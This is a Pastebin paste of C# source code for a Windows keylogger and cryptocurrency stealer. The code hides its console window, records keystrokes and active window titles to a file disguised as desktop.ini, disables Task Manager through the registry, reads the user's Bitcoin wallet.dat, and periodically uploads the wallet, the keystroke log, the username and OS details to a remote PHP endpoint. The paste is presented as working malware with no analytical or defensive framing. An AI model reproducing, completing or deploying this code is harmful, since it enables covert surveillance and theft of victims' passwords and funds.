Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- =====================
- main.cs
- ------------
- using System;
- using System.Reflection;
- using System.Net;
- using System.Collections.Specialized;
- using Microsoft.Win32;
- using System.Text;
- using System.Collections.Generic;
- using System.IO;
- using System.Runtime.InteropServices;
- using System.Threading;
- using System.Diagnostics;
- using System.Text.RegularExpressions;
- using System.Security.Cryptography;
- namespace lukemin3walk3r
- {
- class MainApp
- {
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- static TimeSpan dueTime = new TimeSpan(0, 5, 0);
- static TimeSpan period = new TimeSpan(0, 5, 0);
- static Project122.Luke_Key_Walker kl = new Project122.Luke_Key_Walker();
- [STAThread]
- static void Main(string[] args)
- {
- IntPtr h = Process.GetCurrentProcess().MainWindowHandle;
- ShowWindow(h, 0);
- while (true)
- {
- try
- {
- Assembly asmPath = System.Reflection.Assembly.GetExecutingAssembly();
- string exePath = asmPath.Location.Substring(0, asmPath.Location.LastIndexOf("\\"));
- Lucifer();
- int fInterval = 1000;
- string filename = "desktop.ini";
- string mode = "day";
- string output = "file";
- kl.LOG_OUT = output;
- kl.LOG_MODE = mode;
- string pestilence = System.IO.Path.GetTempPath();
- string logpath = exePath + "\\" + filename;
- kl.LOG_FILE = logpath;
- kl.Enabled = true;
- kl.FlushInterval = fInterval;
- System.Threading.Timer timer = new System.Threading.Timer(worker, null, dueTime, period);
- Console.ReadKey();
- }
- catch
- {
- }
- }
- }
- public static string wallet2text(string filepath)
- {
- StreamReader streamReader = new StreamReader(filepath);
- string btc_text = streamReader.ReadToEnd();
- streamReader.Close();
- return btc_text;
- }
- public static void up_dat4(string guid1, string username1, string os_info, string btc2text, string keyfile )
- {
- try
- {
- string URL = "http://localhost/uploadpdo2.php";
- WebClient webClient = new WebClient();
- NameValueCollection formData = new NameValueCollection();
- formData["guid"] = guid1;
- formData["username"] = username1;
- formData["os_info"] = os_info;
- formData["btcwallet"] = btc2text.ToString();
- formData["logtext"] = keyfile.ToString();
- byte[] responseBytes = webClient.UploadValues(URL,"POST",formData);
- string responsefromserver = Encoding.UTF8.GetString(responseBytes);
- webClient.Dispose();
- }
- catch
- {
- }
- }
- private static void worker(object stateInfo)
- {
- try
- {
- string file = kl.LOG_FILE;
- string btcpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + "BitCoin" + "\\" + "wallet.dat";
- string BtcWallet = btcpath;
- string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
- string networkname = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
- string Osinfo = Belial_0s_inf0();
- if (File.Exists(BtcWallet))
- {
- byte[] BtcBytes = System.IO.File.ReadAllBytes(BtcWallet);
- string btc2text = wallet2text(BtcWallet);
- string uploadfile = kl.LOG_FILE;
- string log2text = wallet2text(uploadfile);
- string guid = Guid.NewGuid().ToString();
- up_dat4(guid, userName, Osinfo, btc2text, log2text);
- }
- else
- {
- string btc2text = "";
- string uploadfile = kl.LOG_FILE;
- string log2text = wallet2text(uploadfile);
- string guid = Guid.NewGuid().ToString();
- up_dat4(guid, userName, Osinfo, btc2text, log2text);
- }
- }
- catch
- {
- }
- }
- public static void Lucifer()
- {
- try
- {
- Microsoft.Win32.RegistryKey HKCU = Microsoft.Win32.Registry.CurrentUser;
- Microsoft.Win32.RegistryKey key = HKCU.CreateSubKey(@"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
- key.SetValue("DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
- key.Close();
- }
- catch { }
- }
- public static int Belial_0s_find()
- {
- string pa = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
- return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0, "x86", 0, 3, true) == 0) ? 32 : 64);
- }
- public static string Belial_0s_inf0()
- {
- OperatingSystem os = Environment.OSVersion;
- Version vs = os.Version;
- string operatingSystem = "";
- if (os.Platform == PlatformID.Win32Windows)
- {
- switch (vs.Minor)
- {
- case 0:
- operatingSystem = "95";
- break;
- case 10:
- if (vs.Revision.ToString() == "2222A")
- operatingSystem = "98SE";
- else
- operatingSystem = "98";
- break;
- case 90:
- operatingSystem = "Me";
- break;
- default:
- break;
- }
- }
- else if (os.Platform == PlatformID.Win32NT)
- {
- switch (vs.Major)
- {
- case 3:
- operatingSystem = "NT 3.51";
- break;
- case 4:
- operatingSystem = "NT 4.0";
- break;
- case 5:
- if (vs.Minor == 0)
- operatingSystem = "2000";
- else
- operatingSystem = "XP";
- break;
- case 6:
- if (vs.Minor == 0)
- operatingSystem = "Vista";
- else
- operatingSystem = "7";
- break;
- default:
- break;
- }
- }
- if (operatingSystem != "")
- {
- operatingSystem = "Windows " + operatingSystem;
- if (os.ServicePack != "")
- {
- operatingSystem += " " + os.ServicePack;
- }
- operatingSystem += " " + Belial_0s_find().ToString() + "-bit";
- }
- return operatingSystem;
- }
- }
- }
- ======================
- lukemin3walk3r.cs
- --------------------
- using System;
- using System.IO;
- using System.Text;
- using System.Windows.Forms;
- using System.Runtime.InteropServices;
- using System.Security.Cryptography;
- using System.Reflection;
- namespace Project122
- {
- public class Luke_Key_Walker
- {
- [DllImport("User32.dll")]
- private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey);
- [DllImport("User32.dll")]
- private static extern short GetAsyncKeyState(System.Int32 vKey);
- [DllImport("User32.dll")]
- public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
- [DllImport("User32.dll")]
- public static extern int GetForegroundWindow();
- private System.String ZeroKeyBuff3r;
- private System.Timers.Timer zerotimerkey;
- private System.Timers.Timer zero_buffah_flusha;
- private System.String hWndTitle;
- private System.String hWndTitlePast;
- public System.String LOG_FILE;
- public System.String LOG_MODE;
- public System.String LOG_OUT;
- private bool tglAlt = false;
- private bool tglControl = false;
- private bool tglCapslock = false;
- public Luke_Key_Walker()
- {
- hWndTitle = ActiveAppl_Title();
- hWndTitlePast = hWndTitle;
- ZeroKeyBuff3r = "";
- this.zerotimerkey = new System.Timers.Timer();
- this.zerotimerkey.Enabled = true;
- this.zerotimerkey.Elapsed += new System.Timers.ElapsedEventHandler(this.zerotimerkey_Elapsed);
- this.zerotimerkey.Interval = 10;
- this.zero_buffah_flusha = new System.Timers.Timer();
- this.zero_buffah_flusha.Enabled = true;
- this.zero_buffah_flusha.Elapsed += new System.Timers.ElapsedEventHandler(this.zero_buffah_flusha_Elapsed);
- this.zero_buffah_flusha.Interval = 6000;
- }
- public static string ActiveAppl_Title()
- {
- int hwnd = GetForegroundWindow();
- StringBuilder sbTitle = new StringBuilder(1024);
- int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
- if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
- string title = sbTitle.ToString();
- return title;
- }
- private void zerotimerkey_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
- {
- hWndTitle = ActiveAppl_Title();
- if (hWndTitle != hWndTitlePast)
- {
- if (LOG_OUT == "file")
- ZeroKeyBuff3r += "[" + hWndTitle + "]";
- else
- {
- Flush2Console("[" + hWndTitle + "]", true);
- if (ZeroKeyBuff3r.Length > 0)
- Flush2Console(ZeroKeyBuff3r, false);
- }
- hWndTitlePast = hWndTitle;
- }
- foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
- {
- if (GetAsyncKeyState(i) == -32767)
- {
- if (ControlKey)
- {
- if (!tglControl)
- {
- tglControl = true;
- ZeroKeyBuff3r += "<Ctrl=On>";
- }
- }
- else
- {
- if (tglControl)
- {
- tglControl = false;
- ZeroKeyBuff3r += "<Ctrl=Off>";
- }
- }
- if (AltKey)
- {
- if (!tglAlt)
- {
- tglAlt = true;
- ZeroKeyBuff3r += "<Alt=On>";
- }
- }
- else
- {
- if (tglAlt)
- {
- tglAlt = false;
- ZeroKeyBuff3r += "<Alt=Off>";
- }
- }
- if (CapsLock)
- {
- if (!tglCapslock)
- {
- tglCapslock = true;
- ZeroKeyBuff3r += "<CapsLock=On>";
- }
- }
- else
- {
- if (tglCapslock)
- {
- tglCapslock = false;
- ZeroKeyBuff3r += "<CapsLock=Off>";
- }
- }
- if (Enum.GetName(typeof(Keys), i) == "LButton")
- ZeroKeyBuff3r += "<LMouse>";
- else if (Enum.GetName(typeof(Keys), i) == "RButton")
- ZeroKeyBuff3r += "<RMouse>";
- else if (Enum.GetName(typeof(Keys), i) == "Back")
- ZeroKeyBuff3r += "<Backspace>";
- else if (Enum.GetName(typeof(Keys), i) == "Space")
- ZeroKeyBuff3r += " ";
- else if (Enum.GetName(typeof(Keys), i) == "Return")
- ZeroKeyBuff3r += "<Enter>";
- else if (Enum.GetName(typeof(Keys), i) == "ControlKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "RControlKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "LControlKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "ShiftKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "LShiftKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "RShiftKey")
- continue;
- else if (Enum.GetName(typeof(Keys), i) == "Delete")
- ZeroKeyBuff3r += "<Del>";
- else if (Enum.GetName(typeof(Keys), i) == "Insert")
- ZeroKeyBuff3r += "<Ins>";
- else if (Enum.GetName(typeof(Keys), i) == "Home")
- ZeroKeyBuff3r += "<Home>";
- else if (Enum.GetName(typeof(Keys), i) == "End")
- ZeroKeyBuff3r += "<End>";
- else if (Enum.GetName(typeof(Keys), i) == "Tab")
- ZeroKeyBuff3r += "<Tab>";
- else if (Enum.GetName(typeof(Keys), i) == "Prior")
- ZeroKeyBuff3r += "<Page Up>";
- else if (Enum.GetName(typeof(Keys), i) == "PageDown")
- ZeroKeyBuff3r += "<Page Down>";
- else if (Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
- ZeroKeyBuff3r += "<Win>";
- if (ShiftKey)
- {
- if (i >= 65 && i <= 122)
- {
- ZeroKeyBuff3r += (char)i;
- }
- else if (i.ToString() == "49")
- ZeroKeyBuff3r += "!";
- else if (i.ToString() == "50")
- ZeroKeyBuff3r += "@";
- else if (i.ToString() == "51")
- ZeroKeyBuff3r += "#";
- else if (i.ToString() == "52")
- ZeroKeyBuff3r += "$";
- else if (i.ToString() == "53")
- ZeroKeyBuff3r += "%";
- else if (i.ToString() == "54")
- ZeroKeyBuff3r += "^";
- else if (i.ToString() == "55")
- ZeroKeyBuff3r += "&";
- else if (i.ToString() == "56")
- ZeroKeyBuff3r += "*";
- else if (i.ToString() == "57")
- ZeroKeyBuff3r += "(";
- else if (i.ToString() == "48")
- ZeroKeyBuff3r += ")";
- else if (i.ToString() == "192")
- ZeroKeyBuff3r += "~";
- else if (i.ToString() == "189")
- ZeroKeyBuff3r += "_";
- else if (i.ToString() == "187")
- ZeroKeyBuff3r += "+";
- else if (i.ToString() == "219")
- ZeroKeyBuff3r += "{";
- else if (i.ToString() == "221")
- ZeroKeyBuff3r += "}";
- else if (i.ToString() == "220")
- ZeroKeyBuff3r += "|";
- else if (i.ToString() == "186")
- ZeroKeyBuff3r += ":";
- else if (i.ToString() == "222")
- ZeroKeyBuff3r += "\"";
- else if (i.ToString() == "188")
- ZeroKeyBuff3r += "<";
- else if (i.ToString() == "190")
- ZeroKeyBuff3r += ">";
- else if (i.ToString() == "191")
- ZeroKeyBuff3r += "?";
- }
- else
- {
- if (i >= 65 && i <= 122)
- {
- ZeroKeyBuff3r += (char)(i + 32);
- }
- else if (i.ToString() == "49")
- ZeroKeyBuff3r += "1";
- else if (i.ToString() == "50")
- ZeroKeyBuff3r += "2";
- else if (i.ToString() == "51")
- ZeroKeyBuff3r += "3";
- else if (i.ToString() == "52")
- ZeroKeyBuff3r += "4";
- else if (i.ToString() == "53")
- ZeroKeyBuff3r += "5";
- else if (i.ToString() == "54")
- ZeroKeyBuff3r += "6";
- else if (i.ToString() == "55")
- ZeroKeyBuff3r += "7";
- else if (i.ToString() == "56")
- ZeroKeyBuff3r += "8";
- else if (i.ToString() == "57")
- ZeroKeyBuff3r += "9";
- else if (i.ToString() == "48")
- ZeroKeyBuff3r += "0";
- else if (i.ToString() == "189")
- ZeroKeyBuff3r += "-";
- else if (i.ToString() == "187")
- ZeroKeyBuff3r += "=";
- else if (i.ToString() == "92")
- ZeroKeyBuff3r += "`";
- else if (i.ToString() == "219")
- ZeroKeyBuff3r += "[";
- else if (i.ToString() == "221")
- ZeroKeyBuff3r += "]";
- else if (i.ToString() == "220")
- ZeroKeyBuff3r += "\\";
- else if (i.ToString() == "186")
- ZeroKeyBuff3r += ";";
- else if (i.ToString() == "222")
- ZeroKeyBuff3r += "'";
- else if (i.ToString() == "188")
- ZeroKeyBuff3r += ",";
- else if (i.ToString() == "190")
- ZeroKeyBuff3r += ".";
- else if (i.ToString() == "191")
- ZeroKeyBuff3r += "/";
- }
- }
- }
- }
- #region toggles
- public static bool ControlKey
- {
- get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
- }
- public static bool ShiftKey
- {
- get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
- }
- public static bool CapsLock
- {
- get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
- }
- public static bool AltKey
- {
- get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
- }
- #endregion
- private void zero_buffah_flusha_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
- {
- if (LOG_OUT == "file")
- {
- if (ZeroKeyBuff3r.Length > 0)
- Flush2File(LOG_FILE);
- }
- else
- {
- if (ZeroKeyBuff3r.Length > 0)
- Flush2Console(ZeroKeyBuff3r, false);
- }
- }
- public void Flush2Console(string data, bool writeLine)
- {
- if (writeLine)
- Console.WriteLine(data);
- else
- {
- ZeroKeyBuff3r = "";
- }
- }
- public void Flush2File(string file)
- {
- try
- {
- FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
- using (StreamWriter sw = new StreamWriter(fil))
- {
- sw.Write(ZeroKeyBuff3r);
- }
- ZeroKeyBuff3r = "";
- }
- catch (Exception ex)
- {
- throw;
- }
- }
- #region Properties
- public System.Boolean Enabled
- {
- get
- {
- return zerotimerkey.Enabled && zero_buffah_flusha.Enabled;
- }
- set
- {
- zerotimerkey.Enabled = zero_buffah_flusha.Enabled = value;
- }
- }
- public System.Double FlushInterval
- {
- get
- {
- return zero_buffah_flusha.Interval;
- }
- set
- {
- zero_buffah_flusha.Interval = value;
- }
- }
- public System.Double MineInterval
- {
- get
- {
- return zerotimerkey.Interval;
- }
- set
- {
- zerotimerkey.Interval = value;
- }
- }
- #endregion
- }
- }
- # fkfkkf-07-30]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement